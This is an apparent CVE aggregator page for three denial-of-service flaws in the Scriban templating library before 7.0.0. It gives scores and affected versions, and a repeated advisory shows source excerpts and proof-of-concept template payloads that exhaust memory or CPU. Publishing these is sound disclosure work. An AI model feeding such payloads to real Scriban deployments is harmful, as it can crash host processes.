Every CVE Search/ Get API key

CVE-2026-74785

Scriban before 7.0.0 Denial of Service via Unbounded Resource Consumption

7.1 HighFix available

Scriban before 7.0.0 contains three distinct denial-of-service vulnerabilities in expression evaluation that bypass existing safety controls through unbounded string multiplication, uncontrolled BigInteger shift operations, and LoopLimit bypass via range enumeration in builtin functions. Attackers who can supply templates can cause out-of-memory exceptions or CPU exhaustion, typically terminating the entire host process.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.48%Up 0.2 points since Aug 17, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.1

Scriban before 7.0.0 Denial of Service via Unbounded Resource Consumption

Scriban before 7.0.0 contains three distinct denial-of-service vulnerabilities in expression evaluation that bypass existing safety controls through unbounded string multiplication, uncontrolled BigInteger shift operations, and LoopLimit bypass via range enumeration in builtin functions. Attackers who can supply templates can cause out-of-memory exceptions or CPU exhaustion, typically terminating the entire host process.

Record
CVE-2026-74785
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
EUVDEUVD-2026-59951 7.1

Scriban before 7.0.0 contains three distinct denial-of-service vulnerabilities in expression evaluation that bypass existing safety controls through unbounded string multiplication, uncontrolled BigInteger shift operations, and LoopLimit bypass via range enumeration in builtin functions. Attackers who can supply templates can cause out-of-memory exceptions or CPU exhaustion, typically terminating the entire host process.

Record
EUVD-2026-59951
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-q5qx-vc88-69hw 7.1

Scriban before 7.0.0 contains three distinct denial-of-service vulnerabilities in expression...

Scriban before 7.0.0 contains three distinct denial-of-service vulnerabilities in expression evaluation that bypass existing safety controls through unbounded string multiplication, uncontrolled BigInteger shift operations, and LoopLimit bypass via range enumeration in builtin functions. Attackers who can supply templates can cause out-of-memory exceptions or CPU exhaustion, typically terminating the entire host process.

Record
GHSA-q5qx-vc88-69hw
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
GitHub AdvisoriesGHSA-xw6w-9jjh-p9cr 6.5

Scriban has Multiple Denial-of-Service Vectors via Unbounded Resource Consumption During Expression Evaluation

Summary

Scriban's expression evaluation contains three distinct code paths that allow an attacker who can supply a template to cause denial of service through unbounded memory allocation or CPU exhaustion. The existing safety controls (LimitToString, LoopLimit) do not protect these paths, giving applications a false sense of safety when evaluating untrusted templates.

Details

Vector 1: Unbounded string multiplication

In ScriptBinaryExpression.cs, the CalculateToString method handles the string * int operator by looping without any upper bound:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:319-334
var leftText = context.ObjectToString(left);
var builder = new StringBuilder();
for (int i = 0; i < value; i++)
{
    builder.Append(leftText);
}
return builder.ToString();

The LimitToString safety control (default 1MB) does not protect this code path. It only applies to ObjectToString output conversions in TemplateContext.Helpers.cs (lines 101-121), not to intermediate string values constructed inside CalculateToString. The LoopLimit also does not apply because this is a C# for loop, not a template-level loop — StepLoop() is never called here.

Vector 2: Unbounded BigInteger shift left

The CalculateLongWithInt and CalculateBigIntegerNoFit methods handle ShiftLeft without any bound on the shift amount:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:710-711
case ScriptBinaryOperator.ShiftLeft:
    return (BigInteger)left << (int)right;
// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:783-784
case ScriptBinaryOperator.ShiftLeft:
    return left << (int)right;

In contrast, the Power operator at lines 722 and 795 uses BigInteger.ModPow(left, right, MaxBigInteger) to cap results. The MaxBigInteger constant (BigInteger.One << 1024 * 1024, defined at line 690) already exists but is never applied to shift operations.

Vector 3: LoopLimit bypass via range enumeration in builtin functions

The range operators .. and ..< produce lazy IEnumerable<object> iterators:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:401-417
private static IEnumerable<object> RangeInclude(BigInteger left, BigInteger right)
{
    if (left < right)
    {
        for (var i = left; i <= right; i++)
        {
            yield return FitToBestInteger(i);
        }
    }
    // ...
}

When these ranges are consumed by builtin functions, LoopLimit is completely bypassed because StepLoop() is only called in ScriptForStatement and ScriptWhileStatement — it is never called in any function under src/Scriban/Functions/. For example:

  • ArrayFunctions.Size (line 609) calls .Cast<object>().Count(), fully enumerating the range
  • ArrayFunctions.Join (line 388) iterates with foreach and appends to a StringBuilder with no size limit

PoC

Vector 1 — String multiplication OOM:

var template = Template.Parse("{{ 'AAAA' * 500000000 }}");
var context = new TemplateContext();
// context.LimitToString is 1048576 by default — does NOT protect this path
template.Render(context); // OutOfMemoryException: attempts ~2GB allocation

Vector 2 — BigInteger shift OOM:

var template = Template.Parse("{{ 1 << 100000000 }}");
var context = new TemplateContext();
template.Render(context); // Allocates BigInteger with 100M bits (~12.5MB)
// {{ 1 << 2000000000 }} attempts ~250MB

Vector 3 — LoopLimit bypass via range + builtin:

var template = Template.Parse("{{ (0..1000000000) | array.size }}");
var context = new TemplateContext();
// context.LoopLimit is 1000 — does NOT protect builtin function iteration
template.Render(context); // CPU exhaustion: enumerates 1 billion items
var template = Template.Parse("{{ (0..10000000) | array.join ',' }}");
var context = new TemplateContext();
template.Render(context); // Memory…
Record
GHSA-xw6w-9jjh-p9cr
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
NVD 7.1

Scriban before 7.0.0 contains three distinct denial-of-service vulnerabilities in expression evaluation that bypass existing safety controls through unbounded string multiplication, uncontrolled BigInteger shift operations, and LoopLimit bypass via range enumeration in builtin functions. Attackers who can supply templates can cause out-of-memory exceptions or CPU exhaustion, typically terminating the entire host process.

Record
CVE-2026-74785
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02
OSV 7.1

Scriban before 7.0.0 Denial of Service via Unbounded Resource Consumption

Scriban before 7.0.0 contains three distinct denial-of-service vulnerabilities in expression evaluation that bypass existing safety controls through unbounded string multiplication, uncontrolled BigInteger shift operations, and LoopLimit bypass via range enumeration in builtin functions. Attackers who can supply templates can cause out-of-memory exceptions or CPU exhaustion, typically terminating the entire host process.

Record
CVE-2026-74785
CVSS 4.0
7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-400
Updated
2026-11-02
OSVGHSA-xw6w-9jjh-p9cr 6.5

Scriban has Multiple Denial-of-Service Vectors via Unbounded Resource Consumption During Expression Evaluation

Summary

Scriban's expression evaluation contains three distinct code paths that allow an attacker who can supply a template to cause denial of service through unbounded memory allocation or CPU exhaustion. The existing safety controls (LimitToString, LoopLimit) do not protect these paths, giving applications a false sense of safety when evaluating untrusted templates.

Details

Vector 1: Unbounded string multiplication

In ScriptBinaryExpression.cs, the CalculateToString method handles the string * int operator by looping without any upper bound:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:319-334
var leftText = context.ObjectToString(left);
var builder = new StringBuilder();
for (int i = 0; i < value; i++)
{
    builder.Append(leftText);
}
return builder.ToString();

The LimitToString safety control (default 1MB) does not protect this code path. It only applies to ObjectToString output conversions in TemplateContext.Helpers.cs (lines 101-121), not to intermediate string values constructed inside CalculateToString. The LoopLimit also does not apply because this is a C# for loop, not a template-level loop — StepLoop() is never called here.

Vector 2: Unbounded BigInteger shift left

The CalculateLongWithInt and CalculateBigIntegerNoFit methods handle ShiftLeft without any bound on the shift amount:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:710-711
case ScriptBinaryOperator.ShiftLeft:
    return (BigInteger)left << (int)right;
// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:783-784
case ScriptBinaryOperator.ShiftLeft:
    return left << (int)right;

In contrast, the Power operator at lines 722 and 795 uses BigInteger.ModPow(left, right, MaxBigInteger) to cap results. The MaxBigInteger constant (BigInteger.One << 1024 * 1024, defined at line 690) already exists but is never applied to shift operations.

Vector 3: LoopLimit bypass via range enumeration in builtin functions

The range operators .. and ..< produce lazy IEnumerable<object> iterators:

// src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs:401-417
private static IEnumerable<object> RangeInclude(BigInteger left, BigInteger right)
{
    if (left < right)
    {
        for (var i = left; i <= right; i++)
        {
            yield return FitToBestInteger(i);
        }
    }
    // ...
}

When these ranges are consumed by builtin functions, LoopLimit is completely bypassed because StepLoop() is only called in ScriptForStatement and ScriptWhileStatement — it is never called in any function under src/Scriban/Functions/. For example:

  • ArrayFunctions.Size (line 609) calls .Cast<object>().Count(), fully enumerating the range
  • ArrayFunctions.Join (line 388) iterates with foreach and appends to a StringBuilder with no size limit

PoC

Vector 1 — String multiplication OOM:

var template = Template.Parse("{{ 'AAAA' * 500000000 }}");
var context = new TemplateContext();
// context.LimitToString is 1048576 by default — does NOT protect this path
template.Render(context); // OutOfMemoryException: attempts ~2GB allocation

Vector 2 — BigInteger shift OOM:

var template = Template.Parse("{{ 1 << 100000000 }}");
var context = new TemplateContext();
template.Render(context); // Allocates BigInteger with 100M bits (~12.5MB)
// {{ 1 << 2000000000 }} attempts ~250MB

Vector 3 — LoopLimit bypass via range + builtin:

var template = Template.Parse("{{ (0..1000000000) | array.size }}");
var context = new TemplateContext();
// context.LoopLimit is 1000 — does NOT protect builtin function iteration
template.Render(context); // CPU exhaustion: enumerates 1 billion items
var template = Template.Parse("{{ (0..10000000) | array.join ',' }}");
var context = new TemplateContext();
template.Render(context); // Memory…
Record
GHSA-xw6w-9jjh-p9cr
CVSS 3.1
6.5 MediumCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
Scriban
NuGet
before 7.0.0
7.0.0
Scriban.Signed
NuGet
before 7.0.0
7.0.0
Scriban
NuGet
before 7.0.0, plus listed versions
0.1.00.10.00.11.00.12.00.12.1
Show 45 moreShow less
0.13.00.14.00.15.00.16.00.2.00.2.10.2.20.3.00.3.10.3.1-pre0280.4.00.5.00.6.00.7.00.9.00.9.0-pre1000.9.11.0.01.0.0-beta-0011.0.0-beta-0021.0.0-beta-0031.0.0-beta-0041.0.0-beta-0051.0.0-beta-0061.1.01.1.11.2.01.2.11.2.21.2.31.2.41.2.51.2.61.2.71.2.81.2.92.0.02.0.0-alpha-0012.0.0-alpha-0022.0.0-alpha-0032.0.0-alpha-0042.0.0-alpha-0052.0.0-alpha-0062.0.12.1.0
7.0.0
Scriban.Signed
NuGet
before 7.0.0, plus listed versions
0.10.00.11.00.12.00.12.10.13.0
Show 45 moreShow less
0.14.00.15.00.16.00.9.00.9.11.0.01.0.0-beta-0011.0.0-beta-0021.0.0-beta-0031.0.0-beta-0041.0.0-beta-0051.0.0-beta-0061.1.01.1.11.2.01.2.11.2.21.2.31.2.41.2.51.2.61.2.71.2.81.2.92.0.02.0.0-alpha-0012.0.0-alpha-0022.0.0-alpha-0032.0.0-alpha-0042.0.0-alpha-0052.0.0-alpha-0062.0.12.1.02.1.12.1.22.1.32.1.43.0.03.0.13.0.23.0.33.0.43.0.53.0.63.0.7
7.0.0

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-74785 is a high vulnerability (CVSS 7.1) in Scriban, published March 24, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.48%, the 41st percentile. Fixed in Scriban 7.0.0.

References

This page doesn't list everything

Left out here: 134 versions and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open